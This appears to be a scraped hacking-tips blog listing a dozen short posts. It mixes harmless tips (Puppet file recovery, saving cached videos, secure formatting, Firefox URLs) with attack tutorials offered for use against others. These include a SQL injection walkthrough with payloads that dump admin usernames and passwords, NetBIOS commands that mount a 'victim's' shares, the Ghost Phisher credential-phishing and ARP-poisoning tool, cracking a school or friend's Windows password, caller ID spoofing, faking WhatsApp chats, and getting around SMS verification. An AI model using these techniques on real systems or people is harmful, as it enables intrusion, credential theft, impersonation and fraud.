Wireless And Ethernet Security Testing [Ghost Phisher]

Phisher is a Wireless and Ethernet security testing tool written in Python Programming Language and the Python Qt GUI library. The program is able to emulate access points , conduct Phishing and Penetration Testing Attacks including the creation of a fare AP Network for Testing Purposes.

The particularity of this Tool is that includes an entire Section for Credentials Fetching and allows the Creation of a Fake DNS Server, Access Point, HTTP and DHCP Server.

Credential Fetching Method:

Operating System Supported:

• Ubuntu KDE/GNOME
• BackTrack Linux
• BackBox Linux
• Prerequisites

The Program requires thus packages:

• Aircrack-NG
• Python-Scapy
• Python Qt4
• Python
• Subversion
• Xterm
• Metasploit Framework (Optional)

You can install it using following Command: 
"apt-get install program"

In Debian, you can use following Command:
root@host:~# dpkg -i ghost-phisher_1.5_all.deb

Do you need to Update the Program: 
Don't worry, While there's a new Update, it will appear directly when the program is running!.


Features:

• HTTP Server
• Inbuilt RFC 1035 DNS Server
• Inbuilt RFC 2131 DHCP Server
• Webpage Hosting and Credential Logger (Phishing)
• Wifi Access point Emulator
• Session Hijacking (Passive and Ethernet Modes)
• ARP Cache Poisoning (MITM and DOS Attacks)
• Penetration using Metasploit Bindings
• Automatic credential logging using SQlite Database
• Update Support

Download Link:
New version 1.52 is available
https://www.mediafire.com/folder/7ujh211h5oa51/Ghost_Phisher


Project Source Code:
root@host:~# svn checkout 

http://ghost-phisher.googlecode.com/svn/Ghost-Phisher

Read more

How Puppet Recovering Overwritten Files ?

Puppet Recovering Overwritten Files/ We all know the benefit of using Puppet in managing huge IT infrastructures. Puppet Master will be used to send configuration or desired state of puppet agents or clients or servers we wish to manage using manifests.

The alarming thing is that puppet default behavior is to overwrite the files, if the file already exists on the puppet agent machine. Which is sometimes good, sometimes bad (if we had deleted or overwritten a right file, wrongly).

This can be real disastrous, in any production environment.

There must be a way in puppet recovering overwritten files.

Puppet creates a backup copy of any file it changes, and stores it on the machine in a place called the clientbucket – /var/lib/puppet/clientbucket – to be precise. This can be handy if you ever accidentally overwrite an important file, and want to retrieve its original contents.

Step: 1 

I created a puppet manifest. A file resource which will be creating a file /tmp/bucket.txt with some sample text. Consider this text as very important for your production server. So here I am applying the manifest for the first time. Which will create the original and right file at the right place. The original contents here are – “This is backed up under clientbucket, if overwritten”.

Original File created by puppet

Step: 2

Now, I am intentionally, editing (consider it by accident) the original file /tmp/bucket.txt using puppet manifest. Creating a scenario that the original file is overwritten, by mistake.

Editing the original file, using puppet

Step: 3

Now after applying the new puppet manifest using puppet apply testbucket.pp, the original file /tmp/bucket.txt is overwritten by our fake or wrong contents, leading to non desired results on our Linux servers. You can see the new line – “Overwriting now” appended in the file.

Overwritten file by puppet

Step: 4

Now comes the challenge. We want our original file back. We already learned that puppet, by default, make a backup of all overwritten files under a location – clientbucket – /var/lib/puppet/clientbucket. So if I go under – /var/lib/puppet/clientbucket and do a grep for the word “bucket” (which was there in the original file). I should be able to get the original contents.

Recovering overwritten file from /var/lib/puppet/clientbucket

Step: 5

Now GEEKS !! Once you know the exact location, you can go in the path displayed and recover the original file and simply use the cp command to copy it in the original location.

Copy the contents from client bucket to original location

Step: 6

This is indeed a good Puppet hack to know. But in case you don’t want, think twice that you really don’t want. You don’t want puppet to create a backup copy of the file under – /var/lib/puppet/clientbucket. That simply means you cannot recover it in case of accidental modification.

You can still tell puppet not to create backup of any overwritten file by using – backup => false – argument within the file resource.

Configuring puppet not to create backup

Read more

A Network hack [Netbios Hacking]

This Netbios Hacking guide will tell you about hacking remote computer and gaining access to its hard disk or printer .Netbios hack is the easiest way to break into a remote computer  

Step 1: Open command prompt

Step 2: In the command prompt use the “net view” command
( OR YOU CAN ALSO USE “NB Scanner” OPTION IN “IP-TOOLS” SOFTWARE BY ENTERING RANGE OF IP ADDRESSS.BY THIS METHOD YOU CAN SCAN NUMBER OF COMPUTERS AT A TIME).

Example: C:>net view \59.43.45.212

The above is an example for operation using command prompt.”net view” is one of the netbios command to view the shared resources of the remote computer.Here “59.43.45.212? is an IP address of remote computer that is to be hacked through Netbios.You have to substitute a vlaid IP address in it’s place.If succeeded a list of HARD-DISK DRIVES & PRINTERS are shown.If not an error message is displayed. So repeat the procedure 2 with a different IP address.

Step 3: After succeeding, use the “net use” command in the command prompt.The “net use” is another netbios command which makes it possible to hack remote drives or printers.

Example-1:
C:>net use D: \59.43.45.212F
Example-2:
C:>net use G: \59.43.45.212SharedDocs
Example-3: 
C:>net use I: \59.43.45.212Myprint


NOTE: In Examples 1,2 & 3, D:,G: & I: are the Network Drive Names that are to be created on your computer to access remote computer’s hard-disk.

NOTE: GIVE DRIVE NAMES THAT ARE NOT USED BY ANY OTHER DRIVES INCLUDING HARD-DISK DRIVES,FLOPPY DRIVES AND ROM-DRIVES ON YOUR COMPUTER.THAT IS IF YOU HAVE C: & D: AS HARD DIRVES, A: AS FLOPPY DIVE AND E: AS CD-DRIVE, GIVE F: AS YOUR SHARED DRIVE IN THE COMMAND PROMPT

F:,”SharedDocs” are the names of remote computer’s hard-disk’s drives that you want to hack. “Myprint” is the name of remote computer’s printer.These are displayed after giving “net use” command. “59.43.45.212? is the IP address of remote computer that you want to hack.

Step 4: After succeeding your computer will give a message that “The command completed successfully“. Once you get the above message you are only one step away from hacking the computer.
[ad code=1 align=center]
Now open “My Computer” you will see a new “Hard-Disk drive”(Shared) with the specified name.You can open it and access remote computer’s Hard-Drive.You can copy files,music,folders etc. from victim’s hard-drive.You can delete/modify data on victim’s hard-drive only if WRITE-ACCESS is enabled on victim’s system.You can access filesfolders quickly through “Command Prompt”.

NOTE: If Remote Computer’s Firewall Is Enabled Your Computer Will Not Succeed In Gaining Access To Remote Computer Through Netbios.That is Netbios Hacking Is Not Possible In This Situation.(An Error Message Is Displayed).So Repeat The Procedure 2,3 With Different IP Address.

Read more

Automatically Save the Watched/Streamed Video on your Computer without Downloading It

Ever came across a situation that makes you feel lazy after watching a video on Youtube or any other site to Download and Save it on your computer?Are you facing any problem while downloading a video from a site with no Download buttons?Do you want to Download the Flash (.swf) files from a site?Do you want to save a video copy of Live Streaming channels?How To Save Video Files Played On Browser without downloading?

If your answer is "Yes" then this post will help you a lot To Automatically Save The Watched/Streamed Video on your Computer without Download it.

This all problems can be solved by using a software called "Video cache View".It is developed by Nirsoft.net

How Video Cache View works?

When we watch some videos on youtube or other sites they are temporarily stored in our web browser's cache.They can be extracted from the cache folder but it's complicated.This software (Video Cache View) automatically extracts the videos from our browsers and provides us an option to save the video file on our local storage (computer).It works finely on Most browsers like Mozilla Firefox ,Google Chrome, Internet Explore,Opera,etc.The file will be saved in FLV format and it can be played using VLC media Player.

How to Save Online Watched Videos in your Computer without Downloading them :-

1.Download the Video Cache View software from here. (if you want older versions or in other languages or in zip format download it from here )

2.Open the downloaded file and install it.

3.Now play the video on youtube or any othersite.

4. Open Video cache view software and it will show the files that are in our Browser's cache

5.Select the file you want to save in your computer.

6.Right click on the file you want to save and click "copy selected files to".

7.A Dialog box will appear asking you to set the destination folder for saving your files.

8.That's it your video file had been saved in your specified directory.Just open it with VLC media player and enjoy playing the Streamed Video on your Computer without Download it.

Note : After watching a video online ,If you happend to clear your browser's cache then you can't download that video.

Read more

SQL Injection Tutorial

There are many types  of  sql injection  but in this tutorial I will  explain how you can extract  columns  ,tables containing useful data such as passwords ,user id , emails , admin pass and id ..  etc

Exploiting The Vulnerability

Now say we have found a vulnerable site add  ‘  at the end of the url and if it returns with a

Error message then the site is vulnerable 


Example:-

www.vulnarable site.net/articles.php?id =1  ‘

 Now we need to find  the number of columns in current table
 For this we use “order by” commond  Add order by 1 -- 
 To the end of the url . Increase the numbers till we get a error message 


Example:-

www.vulnarable site.net/articles.php?id =1 order by 1--

www.vulnarable site.net/articles.php?id =1  order by 2--

www.vulnarable site.net/articles.php?id =1  order by 3--

www.vulnarable site.net/articles.php?id =1  order by 4--

www.vulnarable site.net/articles.php?id =1  order by 5 --

And so on till we get a error message 


Say we get a error message when we enter order by 5 --
Then number of columns in data base is 4 


Now we use the “ union all select “ commond to find the vulnerable column
Add union all select + the number of columns that we found in the last step


Example:-

www.vulnarable site.net/articles.php?id =1 union all select 1,2,3,4  --

Now we should we should find some numbers popping out 
Say we find one number 3 then column 3 is vulnerable



We can  find the database version, name and user. We do this by replacing the vulnerable column numbers with the following commands:

user()  , database(),version(),@@user,@@version,@@database

First thing is to find the  version of Mysql we add “@@ version “replacing the vulnerable column


Example:-

www.vulnarable site.net/articles.php?id =1  union all select 1,2,@@version ,4 --

Now we must see the version of  Msql at place where the number popped out in the previous step .If it is above 5  continue reading . If it is 4 and below then you have to brute force or guess the table and column names .

Now we need to find  all the table names in the database. To do this we use the following commands


table_name  ,information_schema.tables


Example:- 

www.vulnarable site.net/articles.php?id =1 Union all select 1,2,table_name,4 from information_schema.tables --

Remember the "table_name" goes in the vulnerable column number you found earlier. If this command is entered correctly, the page should show all the tables in the database, so look for tables that may contain useful information such as admin tables or member or user tables. And so on


Now  we must find all the column names in the database, to do this we use the following command “group_concat(column_name) “,


Example:-

www.vulnerable site.net/articles.php?id =1 Union all select 1,2,group_concat(column_name) ,4 from information_schema.columns --

 Now  look for interesting names such as user name ,id ,email and password.
And so on 


Finally we need to dump the data from the columns corresponding to the tables  
For this we use the following  command group_concat
 Now  say we want to get the “user id“ ,"username" and "password" fields, from table "admin"  we use group_concat command
  

Example:-

www.vulnerable site.net/articles.php?id =1 Union all select 1,2,group_concat(user id ,0x3a, username,0x3a,password),4 from admin--

If the command is successful  we must find the user id , user name , password


Example :-

1 .   admin : pass 
2 .   user    : password

Most of the times the passwords are cyrpted to crack them refer my posts on Hashes and Salts

Read more

Trace IP address from Emails

In todays post i will Explain  how one can trace IP address from emails Headers. If you deal with Computer Security and Penetration testing , you must be knowing the importance on IP address . To perform any kind of penetration testing or hacking you first need to know the IP address . Here I am going to discuss how to obtain IP address from Gmail  and Yahoo.

Gmail :
Open the mail you have received from your friend and click on the down arrow to the
 right of the reply button. Now click on Show Original.

You will get to see the complete headers of the mail from which you have to find 
the IP from which this mail   was sent. Mostly in case of a static IP, the IP is shown as in the figure.

Yahoo:
Open the mail and click more option, click on 'View Full headers'

 Again over here you will get to see the IP in the same format as in gmail, shown above.

Read more

Hack Windows Password Using Ophcrack

Ever wanted to login to your friends/schools computer  which is password protected or  you’ve lost your Windows password and you've logged out of your computer. If you are in one of these situations you can use Ophcrack to hack/recover your passwords  .In this tutorial i will Explain how to hack windows password using Ophcrack

Things we Need :-

1. Ophcrack Live cd or Flash drive .You can download it from Here 

Note :-If u don't know how to make Ophcrack Live CD /Usb  you can have look at my previous Tutorial from Here   

Steps :-

1. First plug in your Ophcrack Live cd/usb .Now restart your computer and go to boot menu by  pressing ( f12 or del key ) now select your booting device as CD/USB accordingly

2. Now You will be presented with the Ophcrack LiveCD menu. Leave the default selected and hit enter on your keyboard (or just wait 5 seconds for it to automatically boot).

3. Slax, the version of Linux that is packaged with Ophcrack, will start up
 

4. Ophcrack will start on its own, and the passwords for each of your Windows users will be cracked and displayed on screen.

5. Write down the passwords, remove the CD from your CD/Usb  and restart your computer. Now you can log in to Windows .


By  this way we are able to hack/recover windows Password  .I hope you liked the post if you have any doubts please be free to comment

Read more

How to Make a Spoofed call [crazycall.net]

Caller ID is one of those things that many of us both love and hate. It’s great because if you are getting a call from that annoying neighbor down the street, you can skip it. However, it’s bad at times if the caller ID isn’t who you think it is .this method of using some ones number is called Caller ID spoofing

Caller ID spoofing is the act of making the telephone network to display any desired (Fake) number on the recipients Caller ID . It displays the fake number instead of the original number.With Caller ID spoofing we can make a call appear to have come from any phone number that we  wish. Have you ever wondered how to perform Caller ID spoofing? Read on to know how to a make a spoofed call  in few easy steps

Steps:

1. First a fall go to this site http://www.crazycall.net/
   

2. Select the country you are calling from, choose the Caller-ID you want to display

    and enter the number you  want to call.

3. Press "Get me a code" Now you will be  provided  with a number and a code.

4. Call the number Enter the code when it asks

5. Now you will  be connected to the desired number with a fake Caller ID that you set

NOTE :  By Reading this tutorial You agree that this tutorial is intended for educational purposes only.

Read more

Create Fake WhatsApp Conversation [Whatsaid.apk]

Steps:

Step 1: First Download WhatSaid APK file.

Step 2: Now transfer WhatSaid APK File to your android phone and install WhatSaid App normally.

Step 3: After installing the WhatSaid App you will notice WhatSaid App is similar to  WhatsApp one.

Step 4: Now its time to create fake conversation by writing friend name and by uploading friend picture and by writing fake conversation.

Step 5: You can also share this fake WhatsApp conversation in Facebook and Messages.

Have Fun Enjoy.For any query feel free to comment below.

Read more

Avoid “Quick Formatting” Flash Drives to Prevent File Recovery

 It’s actually quite easy to recover deleted files using a free file recovery program such as Recuva But did you know that files can even be recovered from flash drives that have been formatted? Well, it’s true, and it’s just as easy as recovering files that have been “deleted”. 

If you format your drives using the “Quick Format” option, the files on the drive won’t actually be over-written as the drive is formatted. Instead, only the “pointers” to the files are wiped out, leaving the files themselves intact and easily recoverable.

This is usually not a problem, but if some of the files on a formatted drive are sensitive in nature, anyone at all could use a file recovery program to retrieve them.

Luckily, there’s a very simple solution if you really want to overwrite everything on a drive to prevent your files from being recovered. Simply uncheck the “Quick Format” option in the Format dialog box before you click the “Start” button. Refer to the screenshot below:

Format your flash drives without the “Quick Format” option and you’ll be able to rest assured that your files cannot be recovered by someone else.

Read more

Save Bookmarks Online And Access Them From Any Device, Anywhere

Listango : Listango is a best tool or website which help us to save bookmarks online and access them from anydevice, anywhere.Also if you want to create such type of bookmarks list which is not public means only you can see or access that list then this website if for you specialy. Because Listango helps you to create private bookmarks list.

Feature’s Of Listango:

1. Access Your Bookmarks From Anywhere: You can access your bookmarks from any computer, phone or tablet. Listango works on all modern web browsers.

2. Make Public Or Private Bookmarks List: If You don’t want to share your bookmarks with the whole world. Create private lists that only you can view.

3.Share Bookmarks With Friends Using Social Sites: You can easily share your bookmarks with friends. You can share your bookmarks using Facebook, Twitter, or email.

How To Use Listango To Save Bookmarks Online:

Step 1: Visit the Listango and signup using Facebook or via Email.

Step 2: Now drag the listango button on the Bookmarks Bar.As shown below in screenshot.

Step 3: OK if you want to save any Bookmarks.Just visit the website and drag them into Listango Bookmarks bar.

Video Tutorial:

Read more

4 Sites To Bypass SMS Verification Of Any Website

1.Receive-SMS-Online

The reason it is in the top of my list is that it requires no registartion and the S.M.S delivery is comparatively fast as compared to other websites . Here the number might be connected to different networks . So just pick up a number with less activity or messages and you are done with it . Check out the image below .

2. Receive Sms Online

Compared to the No.1 Place on our blog it comparatively has more numbers to enjoy the bypassing feature but the only reason this website ranks second is because of it's speed . Although it is faster in some cases depending on the Networks connected to it . But seems like it is busy all the time .

3.Gre-Receive E-SMS Online

Compared to the above mention websites the network of this website is most the time free or sms received is very less as you can see in the image below .

4. SMS Receiver

The fourth one in the list is really very special and he feature that I am a very big fan of is that you can even send SMS from this . Sounds very exciting but in some cases the SMS is not sent .

Note : The only problem that you can face is that , it might display a message "number is already registered" .So all you have to do is change website change number as simple as a-b-c-d . 

Read more

Mozilla Firefox Tricks

You can impress your friends/lover with this trick.

Copy the following path into mozilla browser and hit enter. See the Magic..!!

Small scrolling Mozilla

chrome://global/content/alerts/alert.xul

Display Preference

chrome://browser/content/preferences/preferences.xul

Display Cookies
If you want to delete any cookies, you can.

chrome://browser/content/preferences/cookies.xul

History Window

chrome://browser/content/history/history-panel.xul

Display Bokmark

chrome://browser/content/bookmarks/bookmarksPanel.xul

   Run FIREFOX Inside FIREFOX

chrome://browser/content/browser.xul

Read more